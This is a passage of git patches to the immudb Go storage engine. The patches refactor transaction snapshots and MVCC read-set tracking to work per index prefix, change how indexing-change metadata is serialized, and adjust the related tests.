key[:len(snap.prefix)]) { + return snap, nil + } } var snapshotMustIncludeTxID uint64 @@ -193,7 +194,7 @@ func (tx *OngoingTx) snap(indexID int) (*Snapshot, error) { snapshotMustIncludeTxID = mandatoryMVCCUpToTxID } - snap, err := tx.st.SnapshotMustIncludeTxIDWithRenewalPeriod(tx.ctx, indexID, snapshotMustIncludeTxID, tx.snapshotRenewalPeriod) + snap, err := tx.st.SnapshotMustIncludeTxIDWithRenewalPeriod(tx.ctx, key, snapshotMustIncludeTxID, tx.snapshotRenewalPeriod) if err != nil { return nil, err } @@ -216,12 +217,12 @@ func (tx *OngoingTx) snap(indexID int) (*Snapshot, error) { } } - tx.snapshots[indexID] = snap + tx.snapshots = append(tx.snapshots, snap) return snap, nil } -func (tx *OngoingTx) set(key []byte, indexID int, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated bool) error { +func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated bool) error { if tx.closed { return ErrAlreadyClosed } @@ -254,7 +255,7 @@ func (tx *OngoingTx) set(key []byte, indexID int, md *KVMetadata, value []byte, // vLen=0 + vOff=0 + vHash=0 + txmdLen=0 + kvmdLen=0 var indexedValue [lszSize + offsetSize + sha256.Size + sszSize + sszSize]byte - snap, err := tx.snap(indexID) + snap, err := tx.snap(key) if err != nil { return err } @@ -283,9 +284,9 @@ func (tx *OngoingTx) set(key []byte, indexID int, md *KVMetadata, value []byte, return nil } -func (tx *OngoingTx) Set(key []byte, indexID int, md *KVMetadata, value []byte) error { +func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { var hashValue [sha256.Size]byte - return tx.set(key, indexID, md, value, hashValue, false) + return tx.set(key, md, value, hashValue, false) } func (tx *OngoingTx) AddPrecondition(c Precondition) error { @@ -307,7 +308,7 @@ func (tx *OngoingTx) AddPrecondition(c Precondition) error { } func (tx *OngoingTx) mvccReadSetLimitReached() bool { - return tx.readsetSize == tx.st.mvccReadSetLimit + return tx.mvccReadSet.readsetSize == tx.st.mvccReadSetLimit } func (tx *OngoingTx) Delete(key []byte) error { @@ -348,7 +349,12 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, return nil, ErrWriteOnlyTx } - valRef, err := tx.snap.GetWithFilters(key, filters...) + snap, err := tx.snap(key) + if err != nil { + return nil, err + } + + valRef, err := snap.GetWithFilters(key, filters...) if !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) { expectedGet := expectedGet{ key: cp(key), @@ -359,8 +365,8 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, return nil, ErrMVCCReadSetLimitExceeded } - tx.expectedGets = append(tx.expectedGets, expectedGet) - tx.readsetSize++ + tx.mvccReadSet.expectedGets = append(tx.mvccReadSet.expectedGets, expectedGet) + tx.mvccReadSet.readsetSize++ } if err != nil { return nil, err @@ -378,8 +384,8 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, return nil, ErrMVCCReadSetLimitExceeded } - tx.expectedGets = append(tx.expectedGets, expectedGet) - tx.readsetSize++ + tx.mvccReadSet.expectedGets = append(tx.mvccReadSet.expectedGets, expectedGet) + tx.mvccReadSet.readsetSize++ } return valRef, nil @@ -398,7 +404,12 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt return nil, nil, ErrWriteOnlyTx } - key, valRef, err = tx.snap.GetWithPrefixAndFilters(prefix, neq, filters...) + snap, err := tx.snap(key) + if err != nil { + return nil, nil, err + } + + key, valRef, err = snap.GetWithPrefixAndFilters(prefix, neq, filters...) if !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) { expectedGetWithPrefix := expectedGetWithPrefix{ prefix: cp(prefix), @@ -410,8 +421,8 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt return nil, nil, ErrMVCCReadSetLimitExceeded } - tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWithPrefix) - tx.readsetSize++ + tx.mvccReadSet.expectedGetsWithPrefix = append(tx.mvccReadSet.expectedGetsWithPrefix, expectedGetWithPrefix) + tx.mvccReadSet.readsetSize++ } if err != nil { return nil, nil, err @@ -431,8 +442,8 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt return nil, nil, ErrMVCCReadSetLimitExceeded } - tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWithPrefix) - tx.readsetSize++ + tx.mvccReadSet.expectedGetsWithPrefix = append(tx.mvccReadSet.expectedGetsWithPrefix, expectedGetWithPrefix) + tx.mvccReadSet.readsetSize++ } return key, valRef, nil @@ -447,8 +458,13 @@ func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { return nil, ErrWriteOnlyTx } + snap, err := tx.snap(spec.Prefix) + if err != nil { + return nil, err + } + if tx.IsReadOnly() { - return tx.snap.NewKeyReader(spec) + return snap.NewKeyReader(spec) } return newOngoingTxKeyReader(tx, spec) @@ -478,9 +494,11 @@ func (tx *OngoingTx) commit(ctx context.Context, waitForIndexing bool) (*TxHeade } if !tx.IsWriteOnly() { - err := tx.snap.Close() - if err != nil { - return nil, err + for _, snap := range tx.snapshots { + err := snap.Close() + if err != nil { + return nil, err + } } } @@ -505,7 +523,12 @@ func (tx *OngoingTx) Cancel() error { tx.closed = true if !tx.IsWriteOnly() { - return tx.snap.Close() + for _, snap := range tx.snapshots { + err := snap.Close() + if err != nil { + return err + } + } } return nil @@ -517,9 +540,9 @@ func (tx *OngoingTx) Closed() bool { func (tx *OngoingTx) hasPreconditions() bool { return len(tx.preconditions) > 0 || - len(tx.expectedGets) > 0 || - len(tx.expectedGetsWithPrefix) > 0 || - len(tx.expectedReaders) > 0 + len(tx.mvccReadSet.expectedGets) > 0 || + len(tx.mvccReadSet.expectedGetsWithPrefix) > 0 || + len(tx.mvccReadSet.expectedReaders) > 0 } func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { @@ -536,118 +559,125 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - if tx.IsWriteOnly() || tx.snap.Ts() > st.LastPrecommittedTxID() { - // read-only transactions or read-write transactions when no other transaction was committed won't be invalidated + if tx.IsWriteOnly() { + // read-only transactions won't be invalidated return nil } - // current snapshot is fetched without flushing - snap, err := st.syncSnapshot() - if err != nil { - return err - } - defer snap.Close() - - for _, e := range tx.expectedGets { - valRef, err := snap.GetWithFilters(e.key, e.filters...) - if errors.Is(err, ErrKeyNotFound) { - if e.expectedTx > 0 { - return ErrTxReadConflict - } - continue + for _, txSnap := range tx.snapshots { + if txSnap.Ts() > st.LastPrecommittedTxID() { + // read-write transactions when no other transaction was committed won't be invalidated + return nil } + + // current snapshot is fetched without flushing + snap, err := st.syncSnapshot(txSnap.prefix) if err != nil { return err } + defer snap.Close() - if e.expectedTx != valRef.Tx() { - return ErrTxReadConflict - } - } + for _, e := range tx.mvccReadSet.expectedGets { + valRef, err := snap.GetWithFilters(e.key, e.filters...) + if errors.Is(err, ErrKeyNotFound) { + if e.expectedTx > 0 { + return ErrTxReadConflict + } + continue + } + if err != nil { + return err + } - for _, e := range tx.expectedGetsWithPrefix { - key, valRef, err := snap.GetWithPrefixAndFilters(e.prefix, e.neq, e.filters...) - if errors.Is(err, ErrKeyNotFound) { - if e.expectedTx > 0 { + if e.expectedTx != valRef.Tx() { return ErrTxReadConflict } - continue - } - if err != nil { - return err } - if !bytes.Equal(e.expectedKey, key) || e.expectedTx != valRef.Tx() { - return ErrTxReadConflict - } - } + for _, e := range tx.mvccReadSet.expectedGetsWithPrefix { + key, valRef, err := snap.GetWithPrefixAndFilters(e.prefix, e.neq, e.filters...) + if errors.Is(err, ErrKeyNotFound) { + if e.expectedTx > 0 { + return ErrTxReadConflict + } + continue + } + if err != nil { + return err + } - for _, eReader := range tx.expectedReaders { - rspec := KeyReaderSpec{ - SeekKey: eReader.spec.SeekKey, - EndKey: eReader.spec.EndKey, - Prefix: eReader.spec.Prefix, - InclusiveSeek: eReader.spec.InclusiveSeek, - InclusiveEnd: eReader.spec.InclusiveEnd, - DescOrder: eReader.spec.DescOrder, + if !bytes.Equal(e.expectedKey, key) || e.expectedTx != valRef.Tx() { + return ErrTxReadConflict + } } - reader, err := snap.NewKeyReader(rspec) - if err != nil { - return err - } + for _, eReader := range tx.mvccReadSet.expectedReaders { + rspec := KeyReaderSpec{ + SeekKey: eReader.spec.SeekKey, + EndKey: eReader.spec.EndKey, + Prefix: eReader.spec.Prefix, + InclusiveSeek: eReader.spec.InclusiveSeek, + InclusiveEnd: eReader.spec.InclusiveEnd, + DescOrder: eReader.spec.DescOrder, + } - defer reader.Close() + reader, err := snap.NewKeyReader(rspec) + if err != nil { + return err + } - for _, eReads := range eReader.expectedReads { - var key []byte - var valRef ValueRef + defer reader.Close() - for _, eRead := range eReads { + for _, eReads := range eReader.expectedReads { + var key []byte + var valRef ValueRef - if len(key) == 0 { - if eRead.initialTxID == 0 && eRead.finalTxID == 0 { - key, valRef, err = reader.Read() - } else { - key, valRef, err = reader.ReadBetween(eRead.initialTxID, eRead.finalTxID) - } + for _, eRead := range eReads { - if err != nil && !errors.Is(err, ErrNoMoreEntries) { - return err + if len(key) == 0 { + if eRead.initialTxID == 0 && eRead.finalTxID == 0 { + key, valRef, err = reader.Read() + } else { + key, valRef, err = reader.ReadBetween(eRead.initialTxID, eRead.finalTxID) + } + + if err != nil && !errors.Is(err, ErrNoMoreEntries) { + return err + } } - } - if eRead.expectedNoMoreEntries { - if err == nil { - return fmt.Errorf("%w: fetching more entries than expected", ErrTxReadConflict) + if eRead.expectedNoMoreEntries { + if err == nil { + return fmt.Errorf("%w: fetching more entries than expected", ErrTxReadConflict) + } + + break } - break - } + if eRead.expectedTx == 0 { + if err == nil && bytes.Equal(eRead.expectedKey, key) { + // key was updated by the transaction + key = nil + valRef = nil + } + } else { + if errors.Is(err, ErrNoMoreEntries) { + return fmt.Errorf("%w: fetching less entries than expected", ErrTxReadConflict) + } + + if !bytes.Equal(eRead.expectedKey, key) || eRead.expectedTx != valRef.Tx() { + return fmt.Errorf("%w: fetching a different key or an updated one", ErrTxReadConflict) + } - if eRead.expectedTx == 0 { - if err == nil && bytes.Equal(eRead.expectedKey, key) { - // key was updated by the transaction key = nil valRef = nil } - } else { - if errors.Is(err, ErrNoMoreEntries) { - return fmt.Errorf("%w: fetching less entries than expected", ErrTxReadConflict) - } - - if !bytes.Equal(eRead.expectedKey, key) || eRead.expectedTx != valRef.Tx() { - return fmt.Errorf("%w: fetching a different key or an updated one", ErrTxReadConflict) - } - - key = nil - valRef = nil } - } - err = reader.Reset() - if err != nil { - return err + err = reader.Reset() + if err != nil { + return err + } } } } diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 76a9863a11..4b2743de32 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -67,15 +67,20 @@ func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyRead DescOrder: spec.DescOrder, } - keyReader, err := tx.snap.NewKeyReader(rspec) + snap, err := tx.snap(spec.Prefix) + if err != nil { + return nil, err + } + + keyReader, err := snap.NewKeyReader(rspec) if err != nil { return nil, err } expectedReader := newExpectedReader(spec) - tx.expectedReaders = append(tx.expectedReaders, expectedReader) - tx.readsetSize++ + tx.mvccReadSet.expectedReaders = append(tx.mvccReadSet.expectedReaders, expectedReader) + tx.mvccReadSet.readsetSize++ return &ongoingTxKeyReader{ tx: tx, @@ -104,12 +109,12 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b expectedNoMoreEntries: true, } - if r.tx.readsetSize == r.tx.st.mvccReadSetLimit { + if r.tx.mvccReadSet.readsetSize == r.tx.st.mvccReadSetLimit { return nil, nil, ErrMVCCReadSetLimitExceeded } r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) - r.tx.readsetSize++ + r.tx.mvccReadSet.readsetSize++ } if err != nil { @@ -123,12 +128,12 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b expectedTx: valRef.Tx(), } - if r.tx.readsetSize == r.tx.st.mvccReadSetLimit { + if r.tx.mvccReadSet.readsetSize == r.tx.st.mvccReadSetLimit { return nil, nil, ErrMVCCReadSetLimitExceeded } r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) - r.tx.readsetSize++ + r.tx.mvccReadSet.readsetSize++ filterEntry := false @@ -159,14 +164,14 @@ func (r *ongoingTxKeyReader) Reset() error { return err } - if r.tx.readsetSize == r.tx.st.mvccReadSetLimit { + if r.tx.mvccReadSet.readsetSize == r.tx.st.mvccReadSetLimit { return ErrMVCCReadSetLimitExceeded } r.expectedReader.expectedReads = append(r.expectedReader.expectedReads, nil) r.expectedReader.i++ - r.tx.readsetSize++ + r.tx.mvccReadSet.readsetSize++ return nil } diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index 0b5e637c4f..fdca75b3a8 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -20,7 +20,6 @@ import ( "bytes" "encoding/binary" "fmt" - "sort" ) // attributeCode is used to identify the attribute. @@ -32,7 +31,7 @@ const ( // attribute size is the size of the attribute in bytes. const ( truncatedUptoTxAttrSize = txIDSize - indexingChangesAttrSize = sszSize + MaxNumberOfIndexChangesPerTx*indexChangeSize + indexingChangesAttrSize = sszSize + MaxNumberOfIndexChangesPerTx*maxIndexChangeSize ) const maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) + @@ -68,15 +67,21 @@ func (a *truncatedUptoTxAttribute) deserialize(b []byte) (int, error) { } type indexingChangesAttribute struct { - changes map[int]IndexChange + changes []IndexChange } type IndexChange interface { + GetPrefix() []byte IsIndexDeletion() bool IsIndexCreation() bool } type IndexDeletionChange struct { + Prefix []byte +} + +func (c *IndexDeletionChange) GetPrefix() []byte { + return c.Prefix } func (c *IndexDeletionChange) IsIndexDeletion() bool { @@ -87,7 +92,7 @@ func (c *IndexDeletionChange) IsIndexCreation() bool { return false } -type IndexCreationChange1 struct { +type IndexCreationChange struct { Prefix []byte InitialTxID uint64 FinalTxID uint64 @@ -95,6 +100,10 @@ type IndexCreationChange1 struct { FinalTs int64 } +func (c *IndexCreationChange) GetPrefix() []byte { + return c.Prefix +} + func (c *IndexCreationChange) IsIndexDeletion() bool { return false } @@ -103,8 +112,10 @@ func (c *IndexCreationChange) IsIndexCreation() bool { return true } -const indexChangeSize = indexIDSize + 1 /* index change type */ + indexCreationSize // size of bigger change -const indexCreationSize = 2*txIDSize + 2*tsSize +const maxIndexChangeSize = 1 /* index change type */ + maxIndexCreationSize // size of bigger change +const minIndexCreationSize = sszSize + 2*txIDSize + 2*tsSize +const maxIndexCreationSize = sszSize + MaxKeyLen + 2*txIDSize + 2*tsSize +const minIndexDeletionSize = sszSize const indexDeletionChange = 0 const indexCreationChange = 1 @@ -122,32 +133,32 @@ func (a *indexingChangesAttribute) serialize() []byte { binary.BigEndian.PutUint16(b[i:], uint16(len(a.changes))) i += sszSize - sortedIds := make([]int, len(a.changes)) - o := 0 - - for id := range a.changes { - sortedIds[o] = id - o++ - } - - sort.Ints(sortedIds) - - for _, id := range sortedIds { - change := a.changes[id] - - binary.BigEndian.PutUint16(b[i:], uint16(id)) - i += indexIDSize - + for _, change := range a.changes { if change.IsIndexDeletion() { b[i] = indexDeletionChange i++ + + c := change.(*IndexDeletionChange) + + binary.BigEndian.PutUint16(b[i:], uint16(len(c.Prefix))) + i += sszSize + + copy(b[i:], c.Prefix) + i += len(c.Prefix) } + if change.IsIndexCreation() { b[i] = indexCreationChange i++ c := change.(*IndexCreationChange) + binary.BigEndian.PutUint16(b[i:], uint16(len(c.Prefix))) + i += sszSize + + copy(b[i:], c.Prefix) + i += len(c.Prefix) + binary.BigEndian.PutUint64(b[i:], c.InitialTxID) i += txIDSize @@ -180,31 +191,46 @@ func (a *indexingChangesAttribute) deserialize(b []byte) (int, error) { return n, ErrCorruptedData } - a.changes = make(map[int]IndexChange, changesCount) + a.changes = make([]IndexChange, changesCount) for i := 0; i < changesCount; i++ { - if len(b) < indexIDSize+1 { + if len(b) < 1 { return n, ErrCorruptedData } - indexID := int(binary.BigEndian.Uint16(b[n:])) - n += indexIDSize - changeType := b[n] n++ if changeType == indexDeletionChange { - a.changes[indexID] = &IndexDeletionChange{} + if len(b) < minIndexDeletionSize { + return n, ErrCorruptedData + } + + change := &IndexDeletionChange{} + + prefixLen := int(binary.BigEndian.Uint16(b[n:])) + n += sszSize + + change.Prefix = b[n : n+prefixLen] + n += prefixLen + + a.changes[i] = change continue } if changeType == indexCreationChange { - if len(b) < indexCreationSize { + if len(b) < minIndexCreationSize { return n, ErrCorruptedData } change := &IndexCreationChange{} + prefixLen := int(binary.BigEndian.Uint16(b[n:])) + n += sszSize + + change.Prefix = b[n : n+prefixLen] + n += prefixLen + change.InitialTxID = binary.BigEndian.Uint64(b[n:]) n += txIDSize @@ -217,7 +243,7 @@ func (a *indexingChangesAttribute) deserialize(b []byte) (int, error) { change.FinalTs = int64(binary.BigEndian.Uint64(b[n:])) n += tsSize - a.changes[indexID] = change + a.changes[i] = change continue } @@ -350,7 +376,7 @@ func (md *TxMetadata) WithTruncatedTxID(txID uint64) *TxMetadata { return md } -func (md *TxMetadata) WithIndexingChanges(indexingChanges map[int]IndexChange) *TxMetadata { +func (md *TxMetadata) WithIndexingChanges(indexingChanges []IndexChange) *TxMetadata { if len(indexingChanges) == 0 { delete(md.attributes, indexingChangesAttrCode) return md @@ -363,7 +389,7 @@ func (md *TxMetadata) WithIndexingChanges(indexingChanges map[int]IndexChange) * return md } -func (md *TxMetadata) GetIndexingChanges() map[int]IndexChange { +func (md *TxMetadata) GetIndexingChanges() []IndexChange { attr, ok := md.attributes[indexingChangesAttrCode] if !ok { return nil From e73b761845ca2c518b98ff6a9f23152c20b7ac28 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 18 Aug 2023 20:42:08 -0300 Subject: [PATCH 0730/1062] chore(embedded/store): multi-indexing Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 31 ++++---- embedded/store/immustore_test.go | 91 ++++++++++++----------- embedded/store/indexer_test.go | 31 ++++++-- embedded/store/key_reader_test.go | 8 +- embedded/store/kv_metadata_test.go | 17 ----- embedded/store/meta_state.go | 29 ++++++-- embedded/store/ongoing_tx.go | 17 +++-- embedded/store/options.go | 7 ++ embedded/store/tx_metadata.go | 2 +- embedded/store/tx_metadata_test.go | 10 +-- embedded/tbtree/tbtree.go | 9 ++- embedded/tools/stress_tool/stress_tool.go | 8 +- 12 files changed, 150 insertions(+), 110 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 77adec84dc..a8234c54ab 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -117,6 +117,7 @@ const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 const MaxIndexCount = math.MaxUint16 +const MaxIndexPrefixLen = 64 const MaxNumberOfIndexChangesPerTx = 16 const cLogEntrySizeV1 = offsetSize + lszSize // tx offset + hdr size @@ -727,23 +728,25 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, err } - indexPath := filepath.Join(store.path, indexDirname) + if !opts.MultiIndexing { + indexPath := filepath.Join(store.path, indexDirname) - defaultIndexer, err := newIndexer(nil, indexPath, store, opts) - if err != nil { - store.Close() - return nil, fmt.Errorf("could not open indexer: %w", err) - } + defaultIndexer, err := newIndexer(nil, indexPath, store, opts) + if err != nil { + store.Close() + return nil, fmt.Errorf("could not open indexer: %w", err) + } - if defaultIndexer.Ts() > committedTxID { - store.Close() - return nil, fmt.Errorf("corrupted commit-log: index size is too large: %w", ErrCorruptedCLog) + if defaultIndexer.Ts() > committedTxID { + store.Close() + return nil, fmt.Errorf("corrupted commit-log: index size is too large: %w", ErrCorruptedCLog) - // TODO: if indexing is done on pre-committed txs, the index may be rollback to a previous snapshot where it was already synced - // NOTE: compaction should preserve snapshot which are not synced... so to ensure rollback can be achieved - } + // TODO: if indexing is done on pre-committed txs, the index may be rollback to a previous snapshot where it was already synced + // NOTE: compaction should preserve snapshot which are not synced... so to ensure rollback can be achieved + } - store.indexers = append(store.indexers, defaultIndexer) + store.indexers = append(store.indexers, defaultIndexer) + } if store.synced { go func() { @@ -1017,7 +1020,7 @@ func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context return &Snapshot{ st: s, - prefix: prefix, + prefix: indexer.prefix, snap: snap, ts: time.Now(), }, nil diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index bd2f8b445e..2ed7a09e38 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -278,7 +278,7 @@ func TestImmudbStoreOnClosedStore(t *testing.T) { err = immuStore.Sync() require.ErrorIs(t, err, ErrAlreadyClosed) - err = immuStore.FlushIndex(DefaultIndexID, 100, true) + err = immuStore.FlushIndexes(100, true) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = immuStore.commit(context.Background(), &OngoingTx{entries: []*EntrySpec{ @@ -1001,7 +1001,7 @@ func TestImmudbStoreIndexing(t *testing.T) { for { txID, _ := immuStore.CommittedAlh() - snap, err := immuStore.SnapshotMustIncludeTxID(context.Background(), txID) + snap, err := immuStore.SnapshotMustIncludeTxID(context.Background(), nil, txID) require.NoError(t, err) for i := 0; i < int(snap.Ts()); i++ { @@ -1063,10 +1063,10 @@ func TestImmudbStoreIndexing(t *testing.T) { return } - err = immuStore.FlushIndex(DefaultIndexID, -10, true) + err = immuStore.FlushIndexes(-10, true) require.ErrorIs(t, err, tbtree.ErrIllegalArguments) - err = immuStore.FlushIndex(DefaultIndexID, 100, true) + err = immuStore.FlushIndexes(100, true) require.NoError(t, err) t.Run("latest set value should be committed", func(t *testing.T) { @@ -1576,7 +1576,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { require.Equal(t, []byte{3, 2, 1}, v) t.Run("read deleted key from snapshot should return key not found", func(t *testing.T) { - snap, err := immuStore.Snapshot() + snap, err := immuStore.Snapshot(nil) require.NoError(t, err) require.NotNil(t, snap) defer snap.Close() @@ -1706,7 +1706,7 @@ func TestImmudbStoreCommitWith(t *testing.T) { hdr, err := immuStore.CommitWith(context.Background(), callback, true) require.NoError(t, err) - ts, err := immuStore.IndexInfo(DefaultIndexID) + ts, err := immuStore.IndexInfo(nil) require.NoError(t, err) require.Equal(t, uint64(1), ts) @@ -1760,7 +1760,7 @@ func TestImmudbStoreHistoricalValues(t *testing.T) { require.Equal(t, uint64(i+1), txhdr.ID) } - err = immuStore.CompactIndex(DefaultIndexID) + err = immuStore.CompactIndexes() require.NoError(t, err) var wg sync.WaitGroup @@ -1769,7 +1769,7 @@ func TestImmudbStoreHistoricalValues(t *testing.T) { for f := 0; f < 1; f++ { go func() { for { - snap, err := immuStore.Snapshot() + snap, err := immuStore.Snapshot(nil) require.NoError(t, err) for i := 0; i < int(snap.Ts()); i++ { @@ -1823,7 +1823,7 @@ func TestImmudbStoreCompactionFailureForRemoteStorage(t *testing.T) { defer immustoreClose(t, immuStore) - err = immuStore.CompactIndex(DefaultIndexID) + err = immuStore.CompactIndexes() require.ErrorIs(t, err, ErrCompactionUnsupported) } @@ -3306,9 +3306,11 @@ func TestImmudbPreconditionIndexing(t *testing.T) { require.NoError(t, err) t.Run("commit", func(t *testing.T) { + indexer, err := immuStore.getIndexer(nil) + require.NoError(t, err) // First add some entries that are not indexed - immuStore.indexer.Pause() + indexer.Pause() for i := 1; i < 100; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) @@ -3340,7 +3342,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { go func() { time.Sleep(100 * time.Millisecond) - immuStore.indexer.Resume() + indexer.Resume() }() _, err = tx.Commit(context.Background()) @@ -3348,9 +3350,11 @@ func TestImmudbPreconditionIndexing(t *testing.T) { }) t.Run("commitWith", func(t *testing.T) { + indexer, err := immuStore.getIndexer(nil) + require.NoError(t, err) // First add some entries that are not indexed - immuStore.indexer.Pause() + indexer.Pause() for i := 1; i < 100; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) @@ -3365,7 +3369,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { go func() { time.Sleep(100 * time.Millisecond) - immuStore.indexer.Resume() + indexer.Resume() }() // Next prepare transaction with preconditions - this must wait for the indexer @@ -3795,12 +3799,12 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key3"), nil, []byte("value")) require.NoError(t, err) - _, err = tx1.Commit(context.Background()) - require.NoError(t, err) - _, err = tx2.Get([]byte("key3")) require.ErrorIs(t, err, ErrKeyNotFound) + _, err = tx1.Commit(context.Background()) + require.NoError(t, err) + err = tx2.Set([]byte("key3"), nil, []byte("value")) require.NoError(t, err) @@ -3827,10 +3831,10 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Delete([]byte("key4")) require.NoError(t, err) - _, err = tx2.Commit(context.Background()) + _, err = tx3.Get([]byte("key4")) require.NoError(t, err) - _, err = tx3.Get([]byte("key4")) + _, err = tx2.Commit(context.Background()) require.NoError(t, err) err = tx3.Set([]byte("key4"), nil, []byte("value4")) @@ -3874,9 +3878,6 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit(context.Background()) - require.NoError(t, err) - key, _, err := tx2.GetWithPrefix([]byte("key"), nil) require.NoError(t, err) require.Equal(t, []byte("key1"), key) @@ -3884,6 +3885,9 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) + _, err = tx1.Commit(context.Background()) + require.NoError(t, err) + _, err = tx2.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3898,9 +3902,6 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Delete([]byte("key1")) require.NoError(t, err) - _, err = tx1.Commit(context.Background()) - require.NoError(t, err) - _, _, err = tx2.GetWithPrefix([]byte("key"), nil) require.NoError(t, err) require.Equal(t, []byte("key1"), []byte("key1")) @@ -3908,6 +3909,9 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) + _, err = tx1.Commit(context.Background()) + require.NoError(t, err) + _, err = tx2.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3937,9 +3941,6 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key4"), nil, []byte("value4")) require.NoError(t, err) - _, err = tx2.Commit(context.Background()) - require.NoError(t, err) - err = tx3.Set([]byte("key2"), nil, []byte("value2_2")) require.NoError(t, err) @@ -3966,6 +3967,9 @@ func TestImmudbStoreMVCC(t *testing.T) { err = r.Close() require.NoError(t, err) + _, err = tx2.Commit(context.Background()) + require.NoError(t, err) + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -4044,9 +4048,6 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key5"), nil, []byte("value5")) require.NoError(t, err) - _, err = tx2.Commit(context.Background()) - require.NoError(t, err) - r, err := tx3.NewKeyReader(KeyReaderSpec{ Prefix: []byte("key"), }) @@ -4065,6 +4066,9 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx3.Set([]byte("key6"), nil, []byte("value6")) require.NoError(t, err) + _, err = tx2.Commit(context.Background()) + require.NoError(t, err) + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -4088,9 +4092,6 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Delete([]byte("key1")) require.NoError(t, err) - _, err = tx2.Commit(context.Background()) - require.NoError(t, err) - r, err := tx3.NewKeyReader(KeyReaderSpec{ Prefix: []byte("key"), Filters: []FilterFn{IgnoreDeleted}, @@ -4110,6 +4111,9 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx3.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) + _, err = tx2.Commit(context.Background()) + require.NoError(t, err) + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -4133,9 +4137,6 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Delete([]byte("key1")) require.NoError(t, err) - _, err = tx2.Commit(context.Background()) - require.NoError(t, err) - err = tx3.Delete([]byte("key1")) require.NoError(t, err) @@ -4155,6 +4156,9 @@ func TestImmudbStoreMVCC(t *testing.T) { err = r.Close() require.NoError(t, err) + _, err = tx2.Commit(context.Background()) + require.NoError(t, err) + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -4181,9 +4185,6 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Delete([]byte("key1")) require.NoError(t, err) - _, err = tx2.Commit(context.Background()) - require.NoError(t, err) - r, err := tx3.NewKeyReader(KeyReaderSpec{ Prefix: []byte("key"), Filters: []FilterFn{IgnoreDeleted}, @@ -4204,6 +4205,9 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx3.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) + _, err = 